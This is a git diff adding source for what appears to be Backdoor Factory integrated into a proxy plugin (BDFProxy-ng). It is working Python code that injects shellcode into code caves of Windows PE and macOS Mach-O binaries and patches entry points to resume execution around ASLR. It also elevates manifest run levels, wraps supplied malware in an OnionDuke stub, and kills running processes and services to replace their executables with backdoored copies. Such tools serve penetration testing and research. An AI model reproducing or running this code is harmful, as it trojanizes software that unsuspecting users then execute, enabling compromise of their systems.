"\x48\xc7\xc1" # mov ecx, value below + resumeExe += struct.pack(" 4: # 4294967295: + resumeExe += "\x48\xb9" # mov rcx, 8 bytes + resumeExe += entireInstr[1:] + + resumeExe += "\x48\x01\xc8" # add rax,rcx + resumeExe += "\x50" + resumeExe += "\x48\x31\xc9" # xor rcx,rcx + resumeExe += "\x48\x89\xf0" # mov rax, rsi + resumeExe += "\x48\x81\xe6" # and rsi, XXXX + resumeExe += self.compliment_you + resumeExe += "\x48\x81\xe6" # and rsi, XXXX + resumeExe += self.compliment_me + resumeExe += "\xc3" + return ReturnTrackingAddress, resumeExe + + elif any(symbol in OpCode for symbol in self.jmp_symbols): + #Let's beat ASLR + CallValue = int(CallValue, 16) + resumeExe += "\xb8" + aprox_loc_wo_alsr = (startingPoint + + self.flItms['JMPtoCodeAddress'] + + len(self.flItms['shellcode']) + len(resumeExe) + + 200 + self.flItms['buffer']) + resumeExe += struct.pack(" 429467295: + resumeExe += struct.pack(' 429467295: + resumeExe += struct.pack('= 4294967295: + resumeExe += struct.pack(' 4294967295: + resumeExe += struct.pack(' 429467295: + resumeExe += struct.pack(' 429467295: + resumeExe += struct.pack('I", self.bin.read(4))[0] + for arch in range(ArchNo): + self.fat_hdrs[arch] = self.fat_header() + for hdr, value in self.fat_hdrs.iteritems(): + if int(value['CPU Type'], 16) in self.supported_CPU_TYPES: + self.bin.seek(int(value['Offset'], 16), 0) + self.mach_hdrs[hdr] = self.mach_header() + self.load_cmds[hdr] = self.parse_loadcommands(self.mach_hdrs[hdr]) + if self.mach_hdrs is False: + return False + else: + #Not Fat Header + self.bin.seek(0) + self.mach_hdrs[0] = self.mach_header() + self.load_cmds[0] = self.parse_loadcommands(self.mach_hdrs[0]) + + def fat_header(self): + header = {} + header["CPU Type"] = hex(struct.unpack(">I", self.bin.read(4))[0]) + header["CPU SubType"] = hex(struct.unpack(">I", self.bin.read(4))[0]) + header["Offset"] = hex(struct.unpack(">I", self.bin.read(4))[0]) + header["Size"] = hex(struct.unpack(">I", self.bin.read(4))[0]) + header["Align"] = hex(struct.unpack(">I", self.bin.read(4))[0]) + return header + + def mach_header(self): + header = {} + header['beginningOfHeader'] = self.bin.tell() + try: + header['MagicNumber'] = hex(struct.unpack(" 0: + if '__text' in item['DATA'][0x30 + i:0x40 + i]: + text_section = { + 'sectionName': item['DATA'][0x30 + i:0x40 + i], + 'segmentName': item['DATA'][0x40 + i:0x50 + i], + 'Address': item['DATA'][0x50 + i:0x54 + i], + 'LOCAddress': locationInFIle + 0x50 + i, + 'Size': item['DATA'][0x54 + i:0x58 + i], + 'LOCTextSize': locationInFIle + 0x54 + i, + 'Offset': item['DATA'][0x58 + i:0x5c + i], + 'LocTextOffset': locationInFIle + 0x58 + i, + 'Alignment': item['DATA'][0x5c + i:0x60 + i], + 'Relocations': item['DATA'][0x60 + i:0x64 + i], + 'NumberOfRelocs': item['DATA'][0x64 + i:0x68 + i], + 'Flags': item['DATA'][0x68 + i:0x6c + i], + 'Reserved1': item['DATA'][0x6c + i:0x70 + i], + 'Reserved2': item['DATA'][0x70 + i:0x74 + i], + } + break + else: + count -= 1 + i += 0x40 + + elif item['DATA'][0:6] == "__TEXT" and item['Command'] == 0x19: + text_segment = { + 'segname': item['DATA'][0:0x10], + 'VMAddress': item['DATA'][0x10:0x18], + 'VMSize': item['DATA'][0x18:0x20], + 'File Offset': item['DATA'][0x20:0x28], + 'File Size': item['DATA'][0x28:0x30], + 'MaxVMProt': item['DATA'][0x30:0x34], + 'InitalVMProt': item['DATA'][0x34:0x38], + 'NumberOfSections': item['DATA'][0x38:0x3C], + 'Flags': item['DATA'][0x3c:0x40] + } + count = struct.unpack(" 0: + + if '__text' in item['DATA'][0x40 + i:0x50 + i]: + text_section = { + 'sectionName': item['DATA'][0x40 + i:0x50 + i], + 'segmentName': item['DATA'][0x50 + i:0x60 + i], + 'Address': item['DATA'][0x60 + i:0x68 + i], + 'LOCAddress': locationInFIle + 0x60 + i, + 'Size': item['DATA'][0x68 + i:0x70 + i], + 'LOCTextSize': locationInFIle + 0x68 + i, + 'Offset': item['DATA'][0x70 + i:0x74 + i], + 'LocTextOffset': locationInFIle + 0x70 + i, + 'Alignment': item['DATA'][0x74 + i:0x78 + i], + 'Relocations': item['DATA'][0x78 + i:0x7c + i], + 'NumberOfRelocs': item['DATA'][0x7c + i:0x80 + i], + 'Flags': item['DATA'][0x80 + i:0x84 + i], + 'Reserved1': item['DATA'][0x84 + i:0x88 + i], + 'Reserved2': item['DATA'][0x88 + i:0x8c + i], + 'Reserved3': item['DATA'][0x8c + i:0x90 + i], + } + + break + else: + count -= 1 + i += 0x4c + + if item['Command'] == 0x80000028: + LC_MAIN = { + 'LOCEntryOffset': locationInFIle, + 'EntryOffset': item['DATA'][0x0:0x8], + 'StackSize': item['DATA'][0x8:0x16] + } + elif item['Command'] == 0x00000005 and struct.unpack(" last_cmd: + last_cmd = item['last_cmd'] + + _tempDict = {'text_segment': text_segment, 'text_section': text_section, + 'LC_MAIN': LC_MAIN, 'LC_UNIXTREAD': LC_UNIXTREAD, + 'LC_CODE_SIGNATURE': LC_CODE_SIGNATURE, + 'LC_DYLIB_CODE_SIGN_DRS': LC_DYLIB_CODE_SIGN_DRS, + 'last_cmd': last_cmd + } + + return _tempDict + + def patch_macho(self): + + if self.supported is False: + print self.FILE, "is not supported." + return False + + self.output_options() + + if not os.path.exists("Plugins/BDFProxy-ng/backdoored"): + os.makedirs("Plugins/BDFProxy-ng/backdoored") + + os_name = os.name + + if os_name == 'nt': + self.backdoorfile = "Plugins/BDFProxy-ng/backdoored\\" + self.OUTPUT + else: + self.backdoorfile = "Plugins/BDFProxy-ng/backdoored/" + self.OUTPUT + + shutil.copy2(self.FILE, self.backdoorfile) + + for key, value in self.mach_hdrs.iteritems(): + MagicNumber = value['MagicNumber'] + text_section = self.ImpValues[key]['text_section'] + last_cmd = self.ImpValues[key]['last_cmd'] + LC_MAIN = self.ImpValues[key]['LC_MAIN'] + LC_UNIXTREAD = self.ImpValues[key]['LC_UNIXTREAD'] + + if self.binary_header == "\xca\xfe\xba\xbe": + offset = int(self.fat_hdrs[key]['Offset'], 16) + else: + offset = 0x0 + LC_CODE_SIGNATURE = self.ImpValues[key]['LC_CODE_SIGNATURE'] + LC_DYLIB_CODE_SIGN_DRS = self.ImpValues[key]['LC_DYLIB_CODE_SIGN_DRS'] + + patchx64 = True + patchx86 = True + + if self.FAT_FILE is True and self.FAT_PRIORITY != 'ALL': + if self.FAT_PRIORITY.lower() == 'x64': + patchx86 = False + if self.FAT_PRIORITY.lower() == 'x86': + patchx64 = False + + with open(self.backdoorfile, 'r+b') as bin: + if MagicNumber == '0xfeedfacf' and patchx64 is True: + print "[*] Patching x86_64 Mach-O Binary" + cave_size = struct.unpack(" cave_size: + print "[!] Shellcode is larger than available space" + return False + + startingLocation = struct.unpack(" cave_size: + print "[!] Shellcode is larger than available space" + return False + + #FIND Current Location + startingLocation = struct.unpack("= section[2]: + #go to exact export directory location + self.binary.seek((self.flItms['LoadConfigTableRVA'] - section[2]) + section[4]) + break + self.flItms['LoadConfigDirectory_Size'] = struct.unpack(' 0x48: + #grab CFG info + self.flItms['LCD_CFG_address_CF_PTR'] = struct.unpack(' self.flItms['SizeOfImage']: + print "[!] File has extra data after last section, cannot add new section" + return False + self.binary.seek(self.flItms['pe_header_location'] + 6, 0) + self.binary.write(struct.pack(' 144: + self.binary.write(struct.pack('!H', nop) * (self.flItms['VirtualSize'] / 2)) + else: + self.binary.write(struct.pack('!B', nop) * (self.flItms['VirtualSize'])) + self.flItms['CodeCaveVirtualAddress'] = (self.flItms['SizeOfImage'] + + self.flItms['ImageBase']) + self.flItms['buffer'] = int('200', 16) # bytes + self.flItms['JMPtoCodeAddress'] = (self.flItms['CodeCaveVirtualAddress'] - + self.flItms['PatchLocation'] - + self.flItms['ImageBase'] - 5 + + self.flItms['buffer']) + + def find_all_caves(self): + """ + This function finds all the codecaves in a inputed file. + Prints results to screen + """ + + print "[*] Looking for caves" + SIZE_CAVE_TO_FIND = self.SHELL_LEN + BeginCave = 0 + Tracking = 0 + count = 1 + caveTracker = [] + caveSpecs = [] + self.binary = open(self.FILE, 'r+b') + self.binary.seek(0) + while True: + try: + s = struct.unpack("= SIZE_CAVE_TO_FIND: + caveSpecs.append(BeginCave) + caveSpecs.append(Tracking) + caveTracker.append(caveSpecs) + count = 1 + caveSpecs = [] + + Tracking += 1 + + for caves in caveTracker: + for section in self.flItms['Sections']: + sectionFound = False + if caves[0] >= section[4] and caves[1] <= (section[3] + section[4]) and \ + caves[1] - caves[0] >= SIZE_CAVE_TO_FIND: + print "We have a winner:", section[0] + print '->Begin Cave', hex(caves[0]) + print '->End of Cave', hex(caves[1]) + print 'Size of Cave (int)', caves[1] - caves[0] + print 'SizeOfRawData', hex(section[3]) + print 'PointerToRawData', hex(section[4]) + print 'End of Raw Data:', hex(section[3] + section[4]) + print '*' * 50 + sectionFound = True + break + if sectionFound is False: + try: + print "No section" + print '->Begin Cave', hex(caves[0]) + print '->End of Cave', hex(caves[1]) + print 'Size of Cave (int)', caves[1] - caves[0] + print '*' * 50 + except Exception as e: + print str(e) + print "[*] Total of %s caves found" % len(caveTracker) + self.binary.close() + + def find_cave(self): + """This function finds all code caves, allowing the user + to pick the cave for injecting shellcode.""" + + self.flItms['len_allshells'] = () + if self.flItms['cave_jumping'] is True: + for item in self.flItms['allshells']: + self.flItms['len_allshells'] += (len(item), ) + # TODO: ADD Stub len for zeroing memory here + self.flItms['len_allshells'] += (len(self.flItms['resumeExe']), ) + SIZE_CAVE_TO_FIND = sorted(self.flItms['len_allshells'])[0] + else: + SIZE_CAVE_TO_FIND = self.flItms['shellcode_length'] + self.flItms['len_allshells'] = (self.flItms['shellcode_length'], ) + + print "[*] Looking for caves that will fit the minimum "\ + "shellcode length of %s" % SIZE_CAVE_TO_FIND + print "[*] All caves lengths: ", ', '.join([str(i) for i in self.flItms['len_allshells']]) + Tracking = 0 + count = 1 + #BeginCave=0 + caveTracker = [] + caveSpecs = [] + self.binary.seek(0) + + if self.PATCH_METHOD == 'automatic': + # This is so much faster than the other + + cave_set = set() + for k, item in enumerate(sorted(self.flItms['len_allshells'])): + cave_buffer = "\x00" * (item + 8) + p = re.compile(cave_buffer) + self.binary.seek(0) + for m in p.finditer(self.binary.read()): + #print m.start(), m.group() + caveSpecs.append(m.start() + 4) + caveSpecs.append(m.start() + item + 8) + caveTracker.append(caveSpecs) + caveSpecs = [] + self.binary.seek(0) + + else: + # Manual Slow method + while True: + # TODO: ADD in Fast Mode + # Jump to near end of .text section and start parsing there. + try: + s = struct.unpack("= SIZE_CAVE_TO_FIND: + #Add a four byte buffer between objects + caveSpecs.append(BeginCave + 4) + caveSpecs.append(Tracking - 4) + caveTracker.append(caveSpecs) + count = 1 + caveSpecs = [] + + Tracking += 1 + + pickACave = {} + for i, caves in enumerate(caveTracker): + i += 1 + for section in self.flItms['Sections']: + sectionFound = False + try: + if caves[0] >= section[4] and \ + caves[1] <= (section[3] + section[4]) and \ + caves[1] - caves[0] >= SIZE_CAVE_TO_FIND: + if self.VERBOSE is True: + print "Inserting code in this section:", section[0] + print '->Begin Cave', hex(caves[0]) + print '->End of Cave', hex(caves[1]) + print 'Size of Cave (int)', caves[1] - caves[0] + print 'SizeOfRawData', hex(section[3]) + print 'PointerToRawData', hex(section[4]) + print 'End of Raw Data:', hex(section[3] + section[4]) + print '*' * 50 + JMPtoCodeAddress = (section[2] + caves[0] - section[4] - + 5 - self.flItms['PatchLocation']) + + sectionFound = True + pickACave[i] = [section[0], hex(caves[0]), hex(caves[1]), + caves[1] - caves[0], hex(section[4]), + hex(section[3] + section[4]), JMPtoCodeAddress, + section[1], section[2]] + break + except: + print "-End of File Found.." + break + if sectionFound is False: + if self.VERBOSE is True: + print "No section" + print '->Begin Cave', hex(caves[0]) + print '->End of Cave', hex(caves[1]) + print 'Size of Cave (int)', caves[1] - caves[0] + print '*' * 50 + + JMPtoCodeAddress = (section[2] + caves[0] - section[4] - + 5 - self.flItms['PatchLocation']) + try: + pickACave[i] = [None, hex(caves[0]), hex(caves[1]), + caves[1] - caves[0], None, + None, JMPtoCodeAddress] + except: + print "EOF" + + CavesPicked = {} + + if self.PATCH_METHOD.lower() == 'automatic': + print "[*] Attempting PE File Automatic Patching" + availableCaves = {} + # Take away the rsrc restriction, solved + for caveNumber, caveValues in pickACave.iteritems(): + if caveValues[0] is None: + continue + elif caveValues[3] >= 50: + availableCaves[caveNumber] = caveValues[3] + + #serialize caves: + + payloadDict = {} + for k, item in enumerate(self.flItms['len_allshells']): + payloadDict[k] = item + + # choose other Caves first. + + while True: + # for tracking sections to change perms on + trackSectionName = set() + + # other caves first + for ref in sorted(payloadDict.items(), key=operator.itemgetter(1), reverse=True): + # largest first + # now drop the caves that are big enough in a set + # and randomly select from it + _tempCaves = {} + if _tempCaves == {}: + # nothing? get out + for refnum, caveSize in availableCaves.iteritems(): + if caveSize >= ref[1]: + _tempCaves[refnum] = caveSize + if _tempCaves == {}: + break + selection = choice(_tempCaves.keys()) + print '[!] Selected:', str(selection) + ":", ("Section Name: {0}; Cave begin: {1} End: {2}; " + "Cave Size: {3}; Payload Size: {4}".format(pickACave[selection][0], pickACave[selection][1], + pickACave[selection][2], pickACave[selection][3], ref[1] + )) + trackSectionName.add(pickACave[selection][0]) + #remove the selection from the dict + popSet = set() + for cave_ref, cave_vals in availableCaves.iteritems(): + if pickACave[cave_ref][1] <= pickACave[selection][1] <= pickACave[cave_ref][2] or \ + pickACave[cave_ref][1] <= pickACave[selection][2] <= pickACave[cave_ref][2] or \ + pickACave[selection][1] <= pickACave[cave_ref][1] <= pickACave[selection][2] or \ + pickACave[selection][1] <= pickACave[cave_ref][2] <= pickACave[selection][2]: + popSet.add(cave_ref) + for item in popSet: + availableCaves.pop(item) + if selection in availableCaves.keys(): + availableCaves.pop(selection) + CavesPicked[ref[0]] = pickACave[selection] + break + + if len(CavesPicked) != len(self.flItms['len_allshells']): + print "[!] Did not find suitable caves - trying next method" + if self.flItms['cave_jumping'] is True: + return 'single' + else: + return 'append' + + if self.CHANGE_ACCESS is True: + for cave in trackSectionName: + self.change_section_flags(cave) + + elif self.PATCH_METHOD.lower() == 'manual': + print ("############################################################\n" + "The following caves can be used to inject code and possibly\n" + "continue execution.\n" + "**Don't like what you see? Use jump, single, append, or ignore.**\n" + "############################################################") + + for k, item in enumerate(self.flItms['len_allshells']): + print "[*] Cave {0} length as int: {1}".format(k + 1, item) + print "[*] Available caves: " + + if pickACave == {}: + print "[!!!!] No caves available! Use 'j' for cave jumping or" + print "[!!!!] 'i' or 'q' for ignore." + for ref, details in pickACave.iteritems(): + if details[3] >= item: + print str(ref) + ".", ("Section Name: {0}; Section Begin: {4} " + "End: {5}; Cave begin: {1} End: {2}; " + "Cave Size: {3}".format(details[0], details[1], details[2], + details[3], details[4], details[5], + details[6])) + + while True: + try: + self.CAVE_MINER_TRACKER + except: + self.CAVE_MINER_TRACKER = 0 + + print "*" * 50 + + selection = raw_input("[!] Enter your selection: ") + try: + selection = int(selection) + + print "[!] Using selection: %s" % selection + try: + if self.CHANGE_ACCESS is True: + if pickACave[selection][0] is not None: + self.change_section_flags(pickACave[selection][0]) + CavesPicked[k] = pickACave[selection] + break + except: + print "[!!!!] User selection beyond the bounds of available caves." + print "[!!!!] Try a number or the following commands:" + print "[!!!!] append or a, jump or j, ignore or i, single or s" + print "[!!!!] TRY AGAIN." + continue + except: + pass + breakOutValues = ['append', 'jump', 'single', 'ignore', 'a', 'j', 's', 'i', 'q'] + if selection.lower() in breakOutValues: + return selection + else: + print "[!] Invalid Patching Method" + return None + return CavesPicked + + def runas_admin(self): + """ + This module jumps to .rsrc section and checks for + the following string: requestedExecutionLevel level="highestAvailable" + + """ + #g = open(flItms['filename'], "rb") + result = False + print "[*] Checking Execution Level" + if 'rsrcPointerToRawData' in self.flItms: + search_lngth = len('requestedExecutionLevel level="highestAvailable"') + data_read = 0 + while data_read < (self.flItms['rsrcPointerToRawData'] + + self.flItms['rsrcSizeRawData'] - + self.flItms['manifestLOC']): + self.binary.seek(self.flItms['manifestLOC'] + data_read, 0) + temp_data = self.binary.read(search_lngth) + if temp_data == 'requestedExecutionLevel level="highestAvailable"': + result = True + break + data_read += 1 + + if result is True: + print "[*] %s must run with highest available privileges" % self.FILE + else: + print "[*] %s does not require highest available privileges" % self.FILE + + return result + + def patch_runlevel(self): + """ + This module jumps to .rsrc section and checks for + the following string: requestedExecutionLevel level="highestAvailable" + and if not there patches it in + + """ + #g = open(flItms['filename'], "rb") + result = False + print "[*] Checking execution Level" + if 'rsrcPointerToRawData' in self.flItms: + search_lngth = len('requestedExecutionLevel') + data_read = 0 + found_exeLevel = True + while data_read < (self.flItms['rsrcPointerToRawData'] + + self.flItms['rsrcSizeRawData'] - + self.flItms['manifestLOC']): + self.binary.seek(self.flItms['manifestLOC'] + data_read, 0) + temp_data = self.binary.read(search_lngth) + if temp_data == 'requestedExecutionLevel': + found_exeLevel = True + search_lngth = len('level=') + if self.binary.read(search_lngth + 1) == ' level=': + if self.binary.read(len("\"highestAvailable\"")) == "\"highestAvailable\"": + print "[*] File already set to highestAvailable execution level" + break + else: + print "[!] Patching 'highestAvailable' in PE Manifest" + self.binary.seek(self.flItms['manifestLOC'] + data_read + len(temp_data) + search_lngth + 1, 0) + self.binary.write("\"highestAvailable\"") + result = True + while True: + reading_position = self.binary.tell() + if self.binary.read(1) != ">": # end of the xml block + self.binary.seek(reading_position) + self.binary.write("\x20") + else: + return True + break + if temp_data == 'level=' and found_exeLevel is True: + #this is what I call a spread out manifest + if self.binary.read(len("\"highestAvailable\"")) == "\"highestAvailable\"": + print "[*] File already set to highestAvailable execution level" + break + else: + print "[!] Patching 'highestAvailable' in PE Manifest" + self.binary.seek(self.flItms['manifestLOC'] + data_read + len(temp_data), 0) + self.binary.write("\"highestAvailable\"") + result = True + + data_read += 1 + + return result + + def parse_rsrc(self): + ''' + This parses a .rsrc section for quick modification + ''' + self.rsrc_structure = {} + + def parse_header(): + return {"Characteristics": struct.unpack(" 0 and self.flItms['DllCharacteristics'] > 0 \ + and self.PATCH_DLL is False: + print "[!] DLL patching not enabled" + return False + + if self.flItms['Magic'] == int('20B', 16) and (self.IMAGE_TYPE == 'ALL' or self.IMAGE_TYPE == 'x64'): + #if self.IMAGE_TYPE == 'ALL' or self.IMAGE_TYPE == 'x64': + targetFile.pe64_entry_instr() + elif self.flItms['Magic'] == int('10b', 16) and (self.IMAGE_TYPE == 'ALL' or self.IMAGE_TYPE == 'x86'): + #if self.IMAGE_TYPE == 'ALL' or self.IMAGE_TYPE == 'x32': + targetFile.pe32_entry_instr() + else: + self.flItms['supported'] = False + + if self.flItms['BoundImportSize'] != 0: + print "[!] No support for Bound Imports at this time" + return False + + if self.RUNAS_ADMIN is True and self.SUPPORT_CHECK is True: + self.parse_rsrc() + if 'manifestLOC' in self.flItms: + self.flItms['runas_admin'] = self.runas_admin() + else: + print '[!] No manifest in rsrc' + + if self.VERBOSE is True: + self.print_flItms(self.flItms) + + if self.flItms['supported'] is False: + return False + + def onionduke(self): + + if not any(chiptype not in "armv" for chiptype in subprocess.check_output(["uname", "-a"]).lower()): + print "[!] Only x86 and x86_64 chipset is supported for OnionDuke due to aPLib support" + return False + if 'rsrcSectionName' not in self.flItms: + print "[!] Missing rsrc section, not patching bianry" + return False + + if not self.SUPPLIED_BINARY: + print "[!] No malware provided" + return False + + od_stub = cStringIO.StringIO() + + stubPath = os.path.dirname(os.path.abspath(onionduke.__file__)) + + #print 'stubPath', stubPath + + with open(self.FILE, "r+b") as self.binary: + #check if OnionDuke Stub + self.binary.seek(0x5C0, 0) + if self.binary.read(11) == "\x57\xE8\xE4\x10\x00\x00\x8B\x15\x2C\x20\x41": + print "[!!!!] Attempting to Patch an OnionDuke wrapped binary" + print "[*] Compressing", self.SUPPLIED_BINARY, "with aPLib" + compressedbin = ''.join(random.SystemRandom().choice(string.ascii_uppercase + string.digits) for _ in range(12)) + subprocess.check_output(['appack', "c", self.SUPPLIED_BINARY, compressedbin]) + # key 0x1FE37D3E + self.binary.seek(0x413, 0) + xor_key1 = struct.unpack(" 0 and self.flItms['DllCharacteristics'] > 0: + print "[!] User supplied malware is a DLL!" + print "[*] Patching OnionDuke Stub for DLL usage" + self.binary.seek(0) + #patch for dll + od_stub.seek(0xfd38, 0) + od_stub.write("\x01\x00\x00\x00") + + #read within a export location for speed. + for section in reversed(self.flItms['Sections']): + if self.flItms['ExportTableRVA'] >= section[2]: + #go to exact export directory location + self.binary.seek((self.flItms['ExportTableRVA'] - section[2]) + section[4]) + break + + #read the Image Export Directory for printMessage + if 'printMessage' not in self.binary.read(self.flItms['ExportTableSize']): + #use ordinal #1 + od_stub.seek(0xfd44, 0) + od_stub.write("\x01\x00\x00\x00") + else: + print "[*] User supplied malware is not a DLL" + + # write to file + od_stub.seek(0) + open(self.OUTPUT, 'w').write(od_stub.read()) + with open(self.OUTPUT, 'r+b') as self.binary: + self.gather_file_info_win() + if self.RUNAS_ADMIN is True: + if self.parse_rsrc() is True: + patch_result = self.patch_runlevel() + if patch_result is False: + print "[!] Could not patch higher run level in manifest, requestedExecutionLevel did not exist" + else: + print '[!] No manifest in rsrc' + + return True + + def patch_pe(self): + + """ + This function operates the sequence of all involved + functions to perform the binary patching. + """ + print "[*] In the backdoor module" + # TODO: Take out Injector + + if self.INJECTOR is False: + os_name = os.name + if not os.path.exists("Plugins/BDFProxy-ng/backdoored"): + os.makedirs("Plugins/BDFProxy-ng/backdoored") + if os_name == 'nt': + self.OUTPUT = "Plugins/BDFProxy-ng/backdoored\\" + self.OUTPUT + else: + self.OUTPUT = "Plugins/BDFProxy-ng/backdoored/" + self.OUTPUT + + if self.PATCH_METHOD.lower() == 'replace': + print "[*] Using replace method, copying supplied binary" + self.flItms['backdoorfile'] = self.SUPPLIED_BINARY + shutil.copy2(self.SUPPLIED_BINARY, self.OUTPUT) + return True + + issupported = self.support_check() + + if issupported is False: + return None + + if self.PATCH_METHOD == 'onionduke': + print "[!] Attempting OnionDuke patching" + # move OS check here. + result = self.onionduke() + if result: + return result + else: + print "[!] OnionDuke patching failed" + return result + + self.flItms['NewCodeCave'] = self.ADD_SECTION + self.flItms['cave_jumping'] = self.CAVE_JUMPING + self.flItms['CavesPicked'] = {} + self.flItms['LastCaveAddress'] = 0 + self.flItms['stager'] = False + self.flItms['supplied_shellcode'] = self.SUPPLIED_SHELLCODE + self.flItms['CavesToFix'] = {} + self.flItms['XP_MODE'] = self.XP_MODE + + #pulling apis + if self.check_shells() is False: + return False + + #Creating file to backdoor + self.flItms['backdoorfile'] = self.OUTPUT + shutil.copy2(self.FILE, self.flItms['backdoorfile']) + + if 'apis_needed' in self.flItms: + self.check_apis(self.FILE) + if self.flItms['neededAPIs'] != set(): + #ADD new section with IAT here, then patch that binary. + iat_result = self.create_new_iat() + if iat_result is False: + return False + print "[*] Checking updated IAT for thunks" + self.check_apis(self.flItms['backdoorfile']) + + if self.set_shells() is False or self.flItms['allshells'] is False: + print "[!] Could not set selected shellcode!" + return False + + self.binary = open(self.flItms['backdoorfile'], "r+b") + + if self.RUNAS_ADMIN is True: + if self.parse_rsrc() is True: + patch_result = self.patch_runlevel() + if patch_result is False: + print "[!] Could not patch higher run level in manifest, requestedExecutionLevel did not exist" + else: + print '[!] No manifest in rsrc' + + #reserve space for shellcode + targetFile = intelCore(self.flItms, self.binary, self.VERBOSE) + + if self.flItms['Magic'] == int('20B', 16): + _, self.flItms['resumeExe'] = targetFile.resume_execution_64() + else: + _, self.flItms['resumeExe'] = targetFile.resume_execution_32() + + shellcode_length = len(self.flItms['shellcode']) + + self.flItms['shellcode_length'] = shellcode_length + len(self.flItms['resumeExe']) + + caves_set = False + + # This can be improved. TODO: add parsed caves to a tracking dict + # for "single": [caves] and "jump": [caves] for that parsing + # does not have to happen over and over again. + # Also think about removing None from the equation? + while caves_set is False and self.flItms['NewCodeCave'] is False: + self.flItms['CavesPicked'] = self.find_cave() + if type(self.flItms['CavesPicked']) == str: + if self.flItms['CavesPicked'].lower() in ['append', 'a']: + self.flItms['JMPtoCodeAddress'] = None + self.flItms['CodeCaveLOC'] = 0 + self.flItms['cave_jumping'] = False + self.flItms['CavesPicked'] = {} + print "[!] Appending new section for payload" + self.set_shells() + caves_set = True + elif self.flItms['CavesPicked'].lower() in ['jump', 'j']: + self.flItms['JMPtoCodeAddress'] = None + self.flItms['CodeCaveLOC'] = 0 + self.flItms['cave_jumping'] = True + self.flItms['CavesPicked'] = {} + print "-resetting shells" + self.set_shells() + continue + elif self.flItms['CavesPicked'].lower() in ['single', 's']: + self.flItms['JMPtoCodeAddress'] = None + self.flItms['CodeCaveLOC'] = 0 + self.flItms['cave_jumping'] = False + self.flItms['CavesPicked'] = {} + print "-resetting shells" + self.set_shells() + continue + elif self.flItms['CavesPicked'].lower() in ['ignore', 'i', 'q']: + #Let's say we don't want to patch a binary + return None + elif self.flItms['CavesPicked'] is None: + return None + else: + self.flItms['JMPtoCodeAddress'] = self.flItms['CavesPicked'].iteritems().next()[1][6] + caves_set = True + #else: + # caves_set = True + + # Assigning code caves to fix + if self.flItms['CavesPicked'] != {}: + for cave, values in self.flItms['CavesPicked'].iteritems(): + self.flItms['CavesToFix'][cave] = [values[6] + 5 + self.flItms['PatchLocation'], self.flItms['len_allshells'][cave]] + + #If no cave found, continue to create one. + if self.flItms['JMPtoCodeAddress'] is None or self.flItms['NewCodeCave'] is True: + create_cave_result = self.create_code_cave() + if create_cave_result is False: + return False + self.flItms['NewCodeCave'] = True + print "- Adding a new section to the exe/dll for shellcode injection" + else: + self.flItms['LastCaveAddress'] = self.flItms['CavesPicked'][len(self.flItms['CavesPicked']) - 1][6] + + #Patch the entry point + targetFile = intelCore(self.flItms, self.binary, self.VERBOSE) + targetFile.patch_initial_instructions() + + # recalling resumeExe + if self.flItms['Magic'] == int('20B', 16): + ReturnTrackingAddress, self.flItms['resumeExe'] = targetFile.resume_execution_64() + else: + ReturnTrackingAddress, self.flItms['resumeExe'] = targetFile.resume_execution_32() + + # setting the final shellcode + self.set_shells() + + if self.flItms['cave_jumping'] is True: + if self.flItms['stager'] is False: + temp_jmp = "\xe9" + breakupvar = eat_code_caves(self.flItms, 1, 2) + test_length = int(self.flItms['CavesPicked'][2][1], 16) - int(self.flItms['CavesPicked'][1][1], 16) - len(self.flItms['allshells'][1]) - 5 + if test_length < 0: + temp_jmp += struct.pack("> ======= + + for process in ap: + process_list.append(process.split()) + + #print process_list + #print filelist + for target in filelist: + service_target = False + running_proc = False + #get filename + #support_result = support_check(target, 0) + #if support_result is False: + # continue + filename = os.path.basename(target) + for process in process_list: + #print process + for setprocess, items in list_of_targets.iteritems(): + if setprocess.lower() in target.lower(): + #print setprocess, process + for item in items[0]: + if item.lower() in [x.lower() for x in process]: + print "- Killing process:", item + try: + #print process[1] + os.system("taskkill /F /PID %i" % + int(process[1])) + running_proc = True + except Exception as e: + print str(e) + if setprocess.lower() in [x.lower() for x in process]: + #print True, items[0], items[1] + if items[1] is not None: + print "- Killing Service:", items[1] + try: + os.system('net stop %s' % items[1]) + except Exception as e: + print str(e) + service_target = True + + time.sleep(1) + #backdoor the targets here: + print "*" * 50 + self.FILE = target + self.OUTPUT = os.path.basename(self.FILE + '.bd') + print "self.OUTPUT", self.OUTPUT + print "- Backdooring:", self.FILE + result = self.patch_pe() + if result: + pass + else: + continue + shutil.copy2(self.FILE, self.FILE + self.SUFFIX) + os.chmod(self.FILE, stat.S_IRWXU | stat.S_IRWXG | stat.S_IRWXO) + time.sleep(1) + try: + os.unlink(self.FILE) + except: + print "unlinking error" + time.sleep(.5) + try: + shutil.copy2(self.OUTPUT, self.FILE) + except: + os.system('move {0} {1}'.format(self.FILE, self.OUTPUT)) + time.sleep(.5) + os.remove(self.OUTPUT) + print (" - The original file {0} has been renamed to {1}".format(self.FILE, + self.FILE + self.SUFFIX)) + + if self.DELETE_ORIGINAL is True: + print "!!Warning Deleteing Original File!!" + os.remove(self.FILE + self.SUFFIX) + + if service_target is True: + #print "items[1]:", list_of_targets[filename][1] + os.system('net start %s' % list_of_targets[filename][1]) + else: + try: + if (list_of_targets[filename][2] is True and + running_proc is True): + subprocess.Popen([self.FILE, ]) + print "- Restarting:", self.FILE + else: + print "-- %s was not found online - not restarting" % self.FILE + + except: + if (list_of_targets[filename.lower()][2] is True and + running_proc is True): + subprocess.Popen([self.FILE, ]) + print "- Restarting:", self.FILE + else: + print "-- %s was not found online - not restarting" % self.FILE diff --git a/Plugins/BDFProxy-ng/bdf/update.sh b/Plugins/BDFProxy-ng/bdf/update.sh new file mode 100755 index 0000000..02f8595 --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf/update.sh @@ -0,0 +1,44 @@ +#!/usr/bin/env bash + +if [[ $EUID -ne 0 ]]; then + echo "You must root" 2>&1 + exit 1 +fi + +#update capstone + +cd capstone + + +if [[ `git pull` != "Already up-to-date." ]]; then + + git checkout b53a59af53ffbd5dbe8dbcefba41a00cf4fc7469 + + ./make.sh + + ./make.sh install + + uname -a | grep BSD &> /dev/null + if [ $? -eq 0 ]; then + echo 'Installing Capstone python bindings for *bsd' + rm -rf ./build + python setup.py build -b ./build install + else + make install + fi + + #check if kali + uname -a | grep -i kali &> /dev/null + if [ $? -eq 0 ]; then + echo "Adding capstone path for Kali64 in /etc/ls.so.conf.d/capstone.conf" + echo "#capstone shared libs" >> /etc/ld.so.conf.d/capstone.conf + echo "/usr/lib64" >> /etc/ld.so.conf.d/capstone.conf + ldconfig + fi +else + echo "Capstone is up-to-date." +fi + +# update pefile + 